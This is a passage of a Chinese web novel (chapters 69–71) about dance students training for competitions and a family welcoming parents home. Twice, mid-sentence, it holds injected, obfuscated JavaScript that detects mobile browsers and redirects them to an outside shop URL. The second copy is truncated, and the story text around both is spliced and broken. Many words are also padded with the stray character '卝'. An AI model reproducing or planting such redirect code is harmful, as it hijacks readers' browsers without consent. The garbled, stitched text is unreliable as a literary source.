晓希抿着嘴,眼神直直盯着前方,在喉咙里轻轻“嗯”了一声。他是聪明孩子,不会动脑的人,跳不好舞。他后腿转转不好,大半是重心的问题。腰一塌,重心就往外飘,可不是一转就转飞了吗。他知道,刘老师这几天就是抓他这个点呢。 “立一下试试。” 站了一分多钟,晓希是真有点没劲儿了。这个“立”做的一点儿都不好:半脚尖才上去,脚和手的动作才做一半就弹下来了。刘茹佳倒是没说什么,只是教鞭在空中点了点,“平时多控背肌。再来。” 晓希偷偷舒了口气,额上已经附了层密汗。方才几次下来,腰上已经有些酸,可这一上午,也才过去一半儿而已。 ———————— ”今儿到这儿吧。自己放松一下。” 十二点半,刘茹佳后知后觉地看了眼表才突然反应过来。”哎对不起,超了半个小时。” 今天是周日,照例排练应该到十二点结束,下午就给晓希自己支配了。 “没事没事。” 林晓希抱着膝盖蹲在把杆下,连忙摇摇头。一仰起脸,才看到整张脸湿成一片,头发也都细碎地贴在额上。 刘茹佳眼神闪了闪。学生练成这样,她也心疼。可舞蹈和比赛就是这么个简单的道理,努力不见得有结果,不努力却是一点机会都没有了。晓希,萧泽,甚至是她自己,他们都是一样;如果努力可以换来完美,那他们宁愿耗掉最后一丝力气。这次大奖赛,里里外外给林晓希的压力她不是不知道。也正因为如此,她才必须逼得狠一点儿,必须帮他把这个金奖捧回来。 “我下午有事,先走了。你下午好好休息。” “嗯,刘老师再见。” 晓希拉着把杆要起来送她。刘茹佳摆摆手,“好好呆着吧。” 晓希点点头,目送着刘茹佳出去。直到看着门在她身后被关上,才终于垂下头,将脸都埋在膝盖里。一个上午下来,后背一整片都酸软地疼着,难受地他直不起腰。只是才歇了两秒,他就挣扎地站起来,踉跄着冲到背包边翻了手机出来。果然,屏幕上显示着两条彦承的未接呼叫,他连忙回拨过去。 “喂,晓希!” 这家伙的声音总是元气得有点过头,晓希被他震得把手机拿远了些。 “你到了吗?对不起啊,才下课。你在哪里,我去找你。” “好啊,那你先开门。” “嗯……?” 晓希心底一动,有些激动又有些紧张的冲到门口,扶着把手用力一拉。果然,彦承突然从门边闪了出来,露出个大喇喇的笑容,“想我没!” 晓希有些看愣了。几周没见而已,眼前人的个头似乎窜了点儿,头发修短了,人嘛,好像在家捂的更白了。唯一没变的,就是这一如既往明朗又带着点小狡黠的笑容。晓希放下拿着手机的手,歪着头,冲他微微张开手臂。眼前人也微微一怔,跟着便猛地跳起来,一下子冲进了他怀里。 晓希被撞得后退了几步,却更加用力地收紧手臂。这个实实在在的拥抱,不知道怎么的,竟然让他眼眶有些发酸。 74. 第69章 彦承能感觉到搂着自己的手臂格外用力,他也同样紧紧抱着晓希,也恨不得将他整个人都揉进自己怀里。他实在,太想晓希了。 他不知道这种感觉为什么会那样强烈。也许是,在这样辛苦的日子里,只有想着还有人和自己一起努力,想着这条路一点都不孤单,才能抚慰分外疲惫的身心,继续坚持下去吧。 “好了~ 还没抱够啊。” 林晓希瘫坐在地上,眼睛不住地盯着门外。怀里的彦承像个树袋熊一样粘在他身上,他不禁捏捏他脖颈,又忍不住胡了胡他头发。 “不够……”彦承嘴上这么说,却还是站起身来,拉着他走到墙边的垫子旁,“趴下。” “啊?” “哎呀~你趴下……” 晓希眯起眼睛,一脸“你搞什么”的表情,却还是犹犹豫豫地照做了。彦承一脚跨上来,急吼吼地把没来得及趴好的他拍扁在垫子上。一双手突然扶上了肩背,晓希微微一怔,“你……都看到了。” “嗯……” 彦承跪在他身后,双手搓热了放在他颈椎下面一点点,用力缓缓向两侧推开,又沿着肩背一路向下。这样重复了几次,晓希整个后背都暖了起来,紧了一上午的肌肉也渐渐放松了。“我看你没接电话,就猜你还没下课。我……我想看你上课,所以就问了萧泽哥地点,就过来了。” 彦承埋着头,专心按摩。 他当然也看见,强大如晓希,也不得不在一次次地逼迫中咬牙坚持、汗如雨下。 他最开始认识晓希,是在首舞的教材视频里、少年组大赛的录像里。后来,这个“模范生”突然出现在家里,与自己朝夕相处并肩作战,成为了他最熟悉的人。可彦承很少见过他在外人面前样子。艺考班里人人交口称赞,每每提起来起来连语气都不一样的他,在学校里是什么样子?他也想看看,这段时间里,让他那么累压力那么大的备赛,传说中刘老师的排练,到底是什么样子。 今天,他都看到了。 “嗯…”晓希垂下眼神,“就和跟着学长练差不多的。” 彦承随口应了一声,注意力渐渐集中到双手上来,他蜷起手指,用四个指节紧挨着脊椎两侧一点点向下按压。正压到腰上一点的地方,手下的人不禁一个机灵。 “没事吧?” “没”,晓希后背泛起一层鸡皮疙瘩,只是这又酸又麻的一下按过去,却的确很舒服。“我还不知道你有这手艺。” “…在网上瞎学的。” “网上?” “就,看微博上有,就记下来了。” “真的啊,看看。” “哎呀,也没什么。” 彦承被追问得有些不好意思,却还是从裤兜里掏出手机递到他手心里。 晓希点开微博,找到了收藏夹,往下滑了两下,一行醒目的标题映入眼帘—— “英国运动学家最权威的肌肉放松手法!!看到就是赚到!快为爱运动的男朋友学起来吧!” 他忍不住盯着那几个字出神。 “别看了,你这样不趴平不行。”彦承拍拍晓希肩头,却看他一点反应也没有。“喂,跟你说——” 他不禁一顿,突然想起了什么,心立刻“停跳”了两拍,连带着脸也跟着烧起来。“那个…那个…你你你……你别看手机了,还给我。” 晓希躲过身后伸过来的手,倏地把手机藏到胸口,整个人埋下头去。不一会儿,肩膀便耸动个不停。 “哎呀别笑!!!手机还我!” 彦承弯下身去他怀里抢,晓希起初还躲着不给。可一来二去看他真有点着急了,才掀起身由着他抢走了。“还真着急了啊。那难道,我不是你的——” “别说!!趴好!!” 晓希脸上尽是毫不掩饰地笑容,看着镜子里的家伙脸红得都快冒烟了,才听他的话侧枕着垫子趴平了。欢闹的气氛渐渐平静下来,晓希手伸到身后,拍了拍彦承的腿,“谢谢你啊……” “不许说话。” 彦承的手指比想象中更有力气,位置也拿捏得特别准。或是轻轻推揉,或是用力地点压,每一下都格外地解乏。所以也不知道是太累还是彦承的手法真的不错,没一会儿,晓希的困意就漫上来,昏昏沉沉地睁不开眼睛。 “睡一会儿。”彦承的声音很轻。 晓希摇摇头,到底强撑着翻过身握住他的手,“别按了,累了吧。歇会儿。” “没有……” 彦承只得顺势跟他并排躺下。“你最近太辛苦了,只有休息好了,明天才有更好的状态。” 手心里攥着的五根手指都泛着红,晓希轻轻揉捏着,心里又酸又暖。“下午想干什么?吃点好吃的,看电影?” 彦承扁着嘴巴摇摇头,一场电影对于他们仅有的一个下午来说太奢侈了。其实就这么呆着,就很好。 “总要先吃饭的。” 晓希拉着他起来,“带你去吃你最喜欢那家火锅,然后慢慢想。” —————— 下午三点,想了一顿饭的两个人还是又绕回这间练功房。林晓希看着已经换上功服的彦承,忍不住掐掐他脸颊,“这么用功啊。” 彦承包着嘴巴躲开,把手机拿出来,“我有几个地方一直练不好,你教教我吧。” 这一阵萧泽哥的忙,他都看在眼里。虽说哥从来不吝啬课上花给自己的时间,可彦承还是想着,他多练好一点,萧泽哥的负担就轻一点。 晓希把头凑过去,看着他的备忘录里明明白白地列着一二三四点,每一点后面都跟着一小段视频,还有文字评论,把问题写的一清二楚。 晓希从前也见过他在学校的笔记。和平日里不拘小节的样子不同,彦承的笔记格外工整。内容并不多,也是像现在这样清晰地罗列出几点,旁边有时会加着批注,完全不是印象中那些长篇累牍的笔记的样子。 “你字这么好看。” 第一次见到彦承的字晓希就由衷地夸过,那时候的彦承也是不好意思地用手胡乱擦着本子,“没有啦……嗐,都是我哥抽出来的。‘不是亲哥’那种……拿尺子生抽啊。” 想起他那个哭诉的样子,晓希忍不住弯起嘴角。明明是处处都很优秀的人,这一阵子,却能明显感觉出他的压力和不安。晓希指尖在屏幕上缓缓向下拉,“都是常见的问题,别担心,多练就好了。” 彦承点点头,却不禁重重叹了一口气,“对不起啊,你难得才有休息的时间,还要你陪我练功。” 午饭时候重复了好几遍的话题又绕回来,这次轮到晓希叹气了。“都说了没事了。还是,有些话你想再听一遍?” 和你在一起,比干什么都开心。—— 吃饭的时候,晓希跟他说的。透过锅底升起的层层水雾,晓希柔和又肯定的表情好像又闪在眼前。彦承脸上一热,不禁把手机塞到他手里,一脸正色地走开了。“我去热身。” ———————— 彦承仰头靠在身后侧倚着他的晓希肩头,双脚大喇喇地搭在两边的椅子上。舞院的练功房很热,才一会儿,他脸上已经蒙了几层汗,“不是就……先热热身嘛” “嗯”,晓希还在看彦承自己录下来的那几段视频,“这不也是热身吗?” “不想练这个。” 彦承扬起睫毛望着天花板,一字一顿的语气里带着丝软糯,仿佛二十分钟前还满心踌躇的人已经不是他了。 晓希突然歪过头,“你这是在撒娇吗?” “撒娇……有用吗。” 晓希笑着抖落了肩头越发沉的小脑袋,“我可是提议去看电影的。” 哎…… 被这一句拿住了七寸,彦承不得不坐起身,结束了仅有两分钟的“偷懒”时光。 彦承把双手拿到身前,先重新在椅子上撑起来打了个横叉,才又缓缓坐下。只是不同于方才懒散的样子,这会儿的他,腰背拔得笔直,双脚和身体都尽力连在一条直线上,搭在椅子上的双腿也尽力朝外转开。 晓希跪在他身后,“来,慢慢下。” 彦承点点头,指尖在地面上一点点向前移动。一边在镜中盯着背上的线条不变,一边压下上身,直到可以用手肘撑在地上。 晓希双手也扶着胯骨上面一点,缓缓施力往前推。“学长也说过的吧,都是横叉,但趴着、坐着、躺着,练得地方都有不一样。所以要增加髋关节的柔韧性,每个角度就都要练到。” 彦承闷闷应了一声,显然是正尽力稳着声音。 晓希抽出手机摆到他面前,手指飞快地解开屏幕,正停在备忘录的界面。“我先给你讲一下,然后我们等下一起练。” 他说着便向前压下身,一手撑着承儿后腰,一手撑在他肩旁,将人都拢在了身下。 彦承交叠在一起的双手不禁紧了紧。晓希大半个身子的重量都压在他身上。且不说腿根内里被抽紧的两条筋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239572|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧烈地撕扯着,这么个拧巴的姿势,光是仅凭腰背的力量拗住板直的上身就已经让那一片肌肉迅速地燃烧起来, “呃……” 身下传来渐渐加重的呼吸声,晓希却好像没听见般点开了第一个视频,“来,抬头看。这个组合,两拍觉得不够用,是因为第一个动作太慢了。手放太远了。收回来,离身体近一点,翻身的时候重心不用跑那么远,就快了。” “嗯……萧泽哥说过的,可,近了就……” “近了撑不起来,手绕不过去?“ “嗯…” 晓希点点头,“明白,我也是一样。没办法,只能多练,练腰,练肩。” 彦承低声答应着,尽力忽略努力绷直的双腿正忍不住微微发颤。 晓希指尖缓缓下移,在屏幕下一行的“晃”字上点了点,“不稳,还是控制不够。做动作的时候,全身上下都要有意识地去控制。我自己的方法就是,放慢了练,在任何地方都能停住的程度。还有就是和你现在一样,录下来看。你看这儿,膝盖松了,脚尖也松了,是吧。” ……… 彦承在不知不觉中渐渐埋下头,只觉得落在身上的重量越来越重。他努力想让自己集中精神,可明明耳侧晓希说的每个字都能清晰地传入脑中,他却好像一句也记不住。 “抬头,乖。” 这一句,却独自穿过被疼痛包裹着的不断轰鸣的外层,直达彦承的内心。晓希的声音很温柔,也让人无法抗拒。彦承咬着嘴唇抬起头来,逼着自己尽力按着动作要领用小腹去找地面…… 晓希把备忘录上的内容都讲完才松开手。压在身上的重量骤然消失,彦承也终于缓缓吐出一口气,放开被自己咬的殷红的嘴唇。“自己耗一会儿吧。” 晓希在他身后盘腿坐下,看他默默把手又往远放了点。 “之前听你说,你叔叔婶婶下周就回来了吧。” “嗯,周六。” “这下开心了,之前一直说想来着。” 彦承一时没有回答。 “怎么了?” “哎,没什么。就是开心归开心,可我心里,总像打鼓似的发慌。总觉得…惴惴不安的。“ 晓希转念想了想,大概猜到是因为学长的事。“是因为学长和彦霖哥?” “嗯……”,彦承鼓着嘴巴点点头,“你是没见过……萧叔明明挺开明又温和的人,当年却为了这事发了那么大的火。我从小到大没见他动过几次手,那一阵,却把两个哥哥关在书房里打。” 晓希微微一怔,心也跟着纠起来。他是知道学长的感情家里不同意的,却没想过中间有那么惨烈。可再一想,是啊,要不是真的图个眼不见心不烦,学长的父母又怎么忍心舍得儿子们移居海外。 “也许这次回来…就好了。” 他犹豫地开口,不知道怎样才能安慰到彦承。 彦承闭起眼睛,一想到从前记忆里那些零碎的画面,心情就不免沉重起来。他在嘴角扯出个勉强的笑容,“希望吧。” 七年,从哥哥们和萧叔摊牌到现在,整整七年了。七年间,曾经多么激烈的情绪都渐渐归为平静。可他知道,并不是在这件事上过去了,而是大家都默契地都不再提起。回避的确可以换得短暂的和平,可这次叔叔婶婶回来,那层小心维护的“窗户纸”总还是会捅破,那时候等待他们的又是什么呢。 还有他和晓希……他甚至不敢深想。哥哥们的路尚且这么艰辛,他们,又需要多少年?他忍不住把手伸到身后攥住晓希的手。从前他总觉得,他们彼此喜欢,就可以开开心心地在一起,就是这么简单的事情。可最近接二连三的事情总是在提醒他,两个人要在一起,并不是两个人说了算的。 彦承的掌心里都是汗。晓希紧紧回握住,知道他在担心什么。许多次夜不能眠的晚上,他也曾一遍遍想着他们未来。可后来他想通了,不管这条路有多么难,只要彦承一天还愿意和他在一起,他就能坚持着走下去。如果有一天承儿累了,想放弃,他也会心甘情愿地祝他幸福。 只是心里的这些“海誓山盟”,他从来没有对彦承说出口。 晓希拦着腰把彦承扶起来,看着他不知道是因为疼还是难过,眼睛一圈浅浅泛着红。心底泛起一丝莫名的冲动,让他很想亲亲他的眼睛,安慰他不要难过。只是想起和彦霖哥的约定,他到底只是替他整了整衣角,“都会好的,别担心。” 75. 第70章 “师卝兄,你今天早点儿撤吧!”三卝点还不到,张凡已经开始赶人了。 萧泽看看时间,在臂弯上蹭下额角的汗。“没事儿,再陪你们练会儿。” 人一忙起来,日子就过的特别快。 小陶伤好后排练终于重新进入正轨——他这几周的“旁听生”没有白当,回来后对作品的理解的确更透彻了,功夫也见长。孔爵自不必说,双时间线的舞台设计,最考验的就是他。两个小编导又很会“磨”人,饶是孔爵心态好,也被他们挑得有些崩溃。萧泽自己戏份不轻,又要帮着做监制,里里外外,他一个人当三个人使。所以之前总盼着盼着爸妈什么时候回来,可真等像个陀螺似的转起来,这一晃,日子就在眼前了。 “早点回去吧。惦记这么久了。”孔爵拎了瓶水给他,跟他并排坐下,“回去收拾收拾。” “哎,也没什么好收拾的,早就弄好了。”萧泽双臂架在膝上,手里转动着水瓶,也不知道在想什么。他不知道怎么形容现在的心情,说是“近乡情怯”,也不完全恰当。可总之就是,有点……心慌。 孔爵默默点点头,知道他担心什么。他和彦霖这么多年了,大家都看在眼里。他拍拍萧泽胳膊,“别想了。走一步看一步。肯回来,就是转机。” “嗯,没事儿。倒是你……”萧泽打量着他眼下那一圈淡淡的阴影,“悠着点儿,歇歇。” “嗐,这才哪儿到哪儿。”孔爵把手臂撑在身后,微微仰起头,两条大长卝腿恣卝意地扔出去。“要是这点本事都没有,我自己先去把大厅墙上那大头抠下来。” “别——”萧泽忍不住笑。他知道孔爵说的是楼下演职人员栏里他那个“荣誉首席”下面的蓝底儿证卝件照,那照片他嫌丑很久了。“你要真想抠下来,我第一个先去。留着以后敲你的竹杠。” “美的你……” 萧泽的手卝机不合时宜地响起来。他掏出来看见来电显示,不禁给孔爵看了眼,很快接起来。“喂,郭师傅。是…不好意思,您这么忙还老给您打电卝话。” “就是之前跟您说的,老礼堂上面好几个灯坏了,对……” “嗯……您说您让您外甥……” “对,还没来呢。” “没事没事,知道您忙……行。” “要么您把他电卝话给我,我给他打。” “好的,好的……” 萧泽挂断电卝话,冲孔爵挑了挑眉。孔爵早就憋不住了,“多大点儿事儿啊……都多长时间了,打几回电卝话了。”他很少听萧泽这样和人讲话,心里有些不舒服。他就是觉得,萧泽不该被这些琐事烦着,不该被逼着和这些老油条打交道, 萧泽话到嘴边,顿了顿,到底只是叹了口气。他本就不惯抱怨,又想着说这些也没有用,索性也不去浪费那个口舌。“没事,能修好就行。” 孔爵没好气地看了他一眼,“难为你一个舞!蹈!家!应该放在台上发光发卝热的!现在天天围着这些转。” 萧泽偏过头看他一脸正色的样子,不禁笑道,“家什么家啊。舞台上光都没有,你发卝热还是我发卝热。” “那你让小凡他们去弄。” “我说都不好使,他们俩能行?” “那我来!”孔爵眉毛一立。 “你才回来几天,认识几个人。” “啧,较劲呢你。我这不就认识了,一个郭师傅,一个他外甥小卝胡,不就够了吗?”孔爵不由他分说,直接把他手卝机拿过来了。还没来得及上锁的界面正好看到郭师傅发来了一串号码。他把快速号码记下来,又把手卝机塞回萧泽手里,拿脚踹他,“行了,你别管了,这个事我去问。你快回家!五分钟内别让我再看到你!” 切……你啊…萧泽拿他没辙,终于站起身把东西都收拾起来,跟大家一一道了再见才离开。 ——————————————————— 第二天早上,整晚都没怎么睡好的钟家三口早早出现在了首都机场的贵宾室内。又兴卝奋又紧张的彦承不停地跑厕所,逗得门口的小卝姐姐都忍不住偷偷抿嘴。 “你歇一会儿。”钟彦霖看他走来走去眼晕,把人按在沙发上坐下。 萧泽敏卝感地看了眼时间,距离预计降落的时间还有十分钟,他已经忍不住一会儿看上一眼了。彦霖握住他的手,掰卝开他蜷起来的手指,手心里都是汗。“是开心的事儿,别紧张。”他很想把萧泽搂在怀里,让他的头埋在自己肩头,在他的耳边说些悄悄话,好好的安抚他。可……他现在不能。 房间墙上的显示屏轻柔地响了一串音节,航班状态转而变为刚刚抵达。萧泽心里一紧,方才接待他们的漂亮小姑娘很快走了进来。 “钟先生、萧先生,贵宾的航班刚刚降落了。我们这边已经去接了,等下拿好了行李就帮您请过来。 萧泽点点头,“我们去闸口那边接吧。” “几位先不着急呢,入关还得一会儿。” “没事,我们过去等吧。” 长辈回来,他们哪有不去迎的道理。彦霖说着话,已经和萧泽一起站起来。 小姑娘看他们坚持,点点头,脸上带着让人格外舒服的微笑,”好的,那我安排人带你们过去。”她在领口对讲上说了两句,很快便有人等在门口了。新过来的小姑娘冲着他们微笑示意,领着他们朝贵宾室与边卝检之间的闸口走去。 “最远只能到这儿了。”几个人走到一扇双开的大门前,带路的小姑娘停下脚步,“抱歉啊,这边没有坐的地方。” “没关系。”萧泽微笑着应道。 等待的过程总是焦虑而漫长的。萧泽靠在走廊的窗边出神,彦霖守在他身侧;彦承则在门口踱着步,掰卝着手指头算时间。“下飞机……入关……拿行李……姐姐,今天入关的人会多吗?” “今天上午国际航班在你们前面的就两班,早就降落了。应该快的。” “嗯,那就好。谢谢姐姐。”彦承一双笑眼,笑起来就特别讨人喜欢,看得带路的小姑娘眼睛也弯弯的。 等了有二十多分钟,大门的电子锁滴滴响了两声,萧泽猛地抬起头。大门在眼前被推开,目光越过前面的小伙子,跟着走进来的正是萧父萧母。 “叔叔婶卝婶!”彦承一个健步冲上去,紧紧抱住董勤勤,“我想死你们了!” “哎哟~~”董勤勤惊喜之余被他吓了一跳,呼噜着承儿的后脑勺,开心得合不拢嘴。“还这么活泼啊?” “爸,妈,回来了。”萧泽和彦霖一起迎上来,顺手接过母亲手里的包。董勤勤拉着儿子的手臂,上下好好看了一圈不知道要怎么心疼才好,“怎么又瘦这么多?不是让你多吃点吗。” “萧叔”,彦霖站在叔叔面前,心底也是从未有过的紧张。其实这两年他和叔叔工作上的沟通很多,他们一起打过的电卝话会卝议恐怕比萧泽和婶卝婶唠家常的次数都多。可隔着一层屏幕或是电卝话线总归是不同的……如今这样实实在在面对面的站着,从前的点点滴滴都翻涌上来,让早已在商场上进退自如的他,也有些语塞,“您和婶卝婶,路上辛苦了吧。” 萧允明打眼看着彦霖。这孩子随他爸,宽肩大个子,五官都很浓重。因为立事早,又早早被自己扔进公卝司里锤炼,性卝情本就比同龄的孩子成熟许多。这两年独自历练得多了,气质更是内敛沉稳。一晃神,就好像是看见他父亲年轻的时候站在自己面前。 “萧叔…”彦霖又叫了声。 萧允明回过神来,看着这孩子轻轻抿着嘴,带着一丝局促,又不禁想起十几年卝前在医院里他红着眼睛被自己按在怀里的样子。萧允明卝心里软卝下去一块,冲着彦霖微微张卝开手臂。 钟彦霖一愣,刚上前两步已经被萧叔揽住,在他肩头重重拍了拍。 “萧叔……”鼻尖蓦地有些发酸,彦霖掩饰地笑了笑。“我们先回家吧。” 钟彦霖和萧泽从接机的小伙子手里接过行李,一行人一起朝停车场走去。彦承走在叔叔婶卝婶中间,一手挽着一个,小卝嘴巴巴巴巴说个不停。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239573|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “叔叔婶卝婶累了吧,我看在法兰克福还停了一下。” “嗯,都柏林近来都没有直飞的。不过也还好,我们上飞机就睡。” “飞机上冷不冷?” “还行。” “你们在飞机上吃东西了吗?我们给你们做好吃的了!” “好~” “等到家亲儿子我给你们按卝摩!” “好~” … 彦霖今天特意换了商卝务车。萧泽坐在副驾,彦承坐在最后排,两个手扒着叔叔婶卝婶的椅子撒娇。彦霖车子都打火了,看着他还大半个身卝子都哈在前面,“钟彦承!安全带。” “好好说,别耍哥哥威风。”还不等彦承回答,萧允明倒是先横了彦霖一眼,回头柔声和彦承说,“听你哥话,好好坐。” “呿……”董勤勤忍不住笑出声来。彦霖和萧泽默默对视一眼,无奈地勾起嘴角,这惯孩子的回来了…… 回去的路有些堵,萧泽一直侧着身卝子和爸妈聊天。“妈,家里都收拾好了,我们就直接回家,这一阵子我们仨都回来陪你们住。” “那当然好啊。不过你们也不用太就着我们。你们有你们要忙的事儿。下班早过来吃饭就行,晚上睡哪儿都一样。”董勤勤知道儿子是惦记他,却也不愿他和彦霖两个为难。 “婶卝婶嫌弃我们了。”彦承在后排鼓着嘴巴撒娇。明明眼看就要上大学了,可一到叔叔婶卝婶面前就秒变“三岁”。 董勤勤笑眯眯地看着他,“是,就嫌弃你!让你哥卝哥和萧泽都回来,你自己在家睡。” 彦承急得一个猛子坐起来,拍着萧允明的肩膀求救。“叔叔你看啊,婶卝婶这么快就不疼亲儿子了!” 彦承被接过来的时候都还没懂事,奶团子一个,每天在地上粗溜来粗溜去,调皮捣蛋的。董勤勤心疼他,真是从小就当心尖尖宠着,朋友们才打趣说是比亲儿子还亲。小承儿不懂事,只知道叔叔婶卝婶确实最疼自己,也跟着说自己才是亲儿子。好在萧泽也是拿他当亲弟卝弟,家里从来没上演过争宠的戏码。 —————————————————— “接到叔叔婶卝婶了!!你看婶卝婶漂不漂亮!” 林晓希点开微信上的图片,是彦承和学长爸爸妈妈卝的自卝拍。婶卝婶真的很漂亮很有气质,算起来也是五十出头的人了,照片上却一点都看不出来。晓希终于知道卝学长那又白又好的皮肤是随谁了。学长的父亲看上去也很年轻,长相很斯文,照片里配合着承儿笑的很柔和,让人很难想象……强卝硬地让学长分手的那一面是怎么样的。 至于承儿——晓希不禁弯起嘴角,他那本就夸张的表情挤在画面一侧,被镜头拉扯得更加奇怪。晓希忍不住用手指去摸卝他的小卝脸,却一不小心把照片点了回去。他愣了两秒,索性直接锁了屏,继续起来练卝功。柏林的比赛在十一月下旬,满打满算也就还剩下一个半月的时间。一想到还有没练好的动作,他心里就说不出得着急。 门口传来两下敲门声,有人推门进来,是唐骁。 “唐老卝师好。”唐老卝师是今年表演系男班的班主卝任,表演系的汉唐基训和教学剧目都是他教,编导系和民间舞系的技巧组合也给他排了好几节。林晓希每天两张课表来回跑,又因着刘老卝师的关系,和他还是挺熟的。 唐骁点点头在门口换鞋,“佳佳和你说了吧,她今天有事儿,我给她代一节。正好换双眼睛帮你过过作品。” “嗯,刘老卝师说了。”林晓希点点头,下意识地舔卝了下嘴唇,“还有……” “还有给你练腰是吧。”唐骁把包扔在门口,就拿了个手卝机和三脚架进来。“嗯,我知道。听说,基训课的老卝师都让她嘱咐了一遍。” 林晓希咬着唇角,脸上微微发烧。这个事他还真不知道,之前在课上……他还以为是自己想多了。 唐骁把三脚架展开,把手卝机架在上面。“行。没事儿。上午先帮你看看作品,晚点再说。” 76. 第71章 “婶卝婶怎么一直看着我呀?”午餐后,彦承帮着一起收拾碗筷,婶卝婶的眼神一直跟着他,盯得他有些心虚。 “婶卝婶难得回来,多看两眼还不行了?” “行!当然行!我就知道婶卝婶看我看不够,嘿嘿。” 萧允明闻言也抬起头来,捏了捏彦承手臂,“我们承儿好像瘦了,但结实了,小胳膊上都是肌肉呢。” “萧叔!”彦承把袖口卷起来,夸张地摆了个展现肱二头肌的动作,“这怎么是‘小’胳膊了!” “嗯!是!眼瞅就是大学卝生了!是小伙子了!哦对了——” 萧叔突然想起什么,“怎么好好的私校不念,非让你哥给你转出来?” 彦承脸上一僵,“啊这个……” 他一个闪身冲进了厨房,“让我哥给你说,我去洗碗!” 彦霖正在收拾碗筷的手也顿了顿,“哦,他在那边总闹着说想家。我想着理大附中这边确实教学质量更高,就给他办了个借读。” 萧允明沉思了片刻,点点头,“嗯,还有一年多。在这边冲冲刺也不错。他有目标想考哪儿了吗?” “哎呀。”董勤勤突然拍了拍他肩膀,“你别一回来就问东问西的,现在的孩子不喜欢和大人说这些。” “哦是吗?”“是呀!” “妈”,萧泽及时站起身,“你们累不累,要不要去睡一会儿,我给您揉卝揉肩。” 董勤勤扶着儿子搭在自己肩上的手,将头也靠在他手臂上。“不用啦。我们就是坐了个飞机,又不是刚出院。你们几个从下飞机一路净让我们休息了。来,你陪我去切点水果。” 董勤勤站起身,不由分说就拉着儿子朝厨房走。萧泽隐约觉得母亲跟自己有话要说,不禁回头看了眼彦霖,安慰地冲他点点头。 厨房里,一直竖着耳朵听客厅动静的彦承就站在洗碗机前,却迟迟没有按下开始键。董勤勤随手在他屁卝股上轻拍了下,“去吧,找你哥去。” “哦。” 彦承和萧泽哥对视了一眼,一溜烟儿地跑回客厅。萧泽从冰箱里拿了几样水果出来,站在母亲身边帮她打下手。 “承儿什么时候开始学跳舞的啊?” 橙子被切成均匀的几瓣,董勤勤拿着小刀在每一瓣上都割开一个果皮分离的开口。萧泽正帮忙摆盘的手不禁一僵,好一会儿,他才缴械般地叹了口气,“妈您这么快就看出来了。” 蒋勤勤嗔怪地看了他一眼,“忘了我是干什么的了?还想瞒着?” “没有……本来这两天也想找个机会和你们说的。” 萧泽顿了顿,下意识地舔卝了下嘴唇,“去年暑假开始学的,今年……就准备参加艺考……他想考首舞。” 蒋勤勤停下手里的动作,一时没有说话。萧泽微微低下头,硬着头皮接着说,“学校的课已经给他停了。我找了文化课的老卝师来家里补习,算是……正式备战艺考吧。” 董勤勤“啪”地一声放下小刀,一脸不可置信地看向萧泽。抬手想要给他一下,却到底只是轻轻落在手臂上。“你们两个,主意怎么这么大?高卝考这么大的事儿,你们一句都不跟我和你爸爸商量?” 萧泽的脸有些微微发烧,心里有自责,也有愧疚。 “我们怕您和爸不同意。” “我们当然不会同意!” 萧泽抿着嘴,微微偏了下头,“所以……” 董勤勤一愣,不禁深深吸进一口气,压下陡然窜上来的怒气。“因为知道我们不会同意,所以就选择不告诉我们。小卝泽,这是我和你爸爸教你做事的方式吗? 你和彦霖是成年人,你们为自己的人生做出任何决定,妈妈都愿意尝试去支持你们。可承儿的高卝考是他的人生大事,你们怎么、怎么能——” “妈……” 萧泽拉住董勤勤的手,满心的自责让他宁可母亲真的重重打自己一下,“这件事是我和彦霖做的不妥,您生气是应该的。可这真的不是草率的决定。承儿虽然年纪小,看上去也大大咧咧的。可您知道的,他骨子里有和彦霖一模一样的韧劲。他想学舞,想考舞校,不是一时冲动……其实他闹了彦霖很久了,我们之前也不同意。和您的想法是一样的,一是舍不得他吃苦,二也是怕他一时兴起。可事实是,承儿是认真的。” “他喜欢,可以让他学,可参加艺考,这是不一样的。” “我知道。可承儿很享受舞台,也真的很有灵气。他是真的真的,想要做一名舞蹈演员。 其实您和爸也好,彦霖和我也好,我们对承儿,从来没有什么特别的要求。我们只希望,他能开开心心做自己喜欢做的事情就可以了,对吗?退一万步讲……” 萧泽顿了顿,斟酌着用词,“这么说可能不妥,可事实就是,就算他觉得自己选错了,将来不喜欢,他的人生也有容错的机会。我们能给他托这个底,他有这个任性的权卝利。” 董勤勤抬眼看向儿子,儿子的眼神里带着十二分的诚恳。有多久没见过小卝泽一口气说这么多话了……董勤勤轻轻摇摇头,一半被说服,一半也是事已至此的无奈,“哎,容错,托底,亏你能把惯孩子说的这么天花乱坠。” 萧泽看着母亲的脸色终于松动,自己悬着的心也才放下一点。“现在就是想惯也惯不了了。妈您也从小学舞——” 他不禁揽过母亲的肩膀,“练舞的辛苦您知道的。您要是不怕心疼,这几天去看看承儿。这一年多,他真的挺用功的。” 董勤勤靠在儿子怀里,这一颗心却突然为着小承儿揪起来了。是啊,承儿去年才开始练,本就不容易。今年小卝泽敢带着他冲首舞,那这中间,该吃了多少苦啊。 —————————————————— 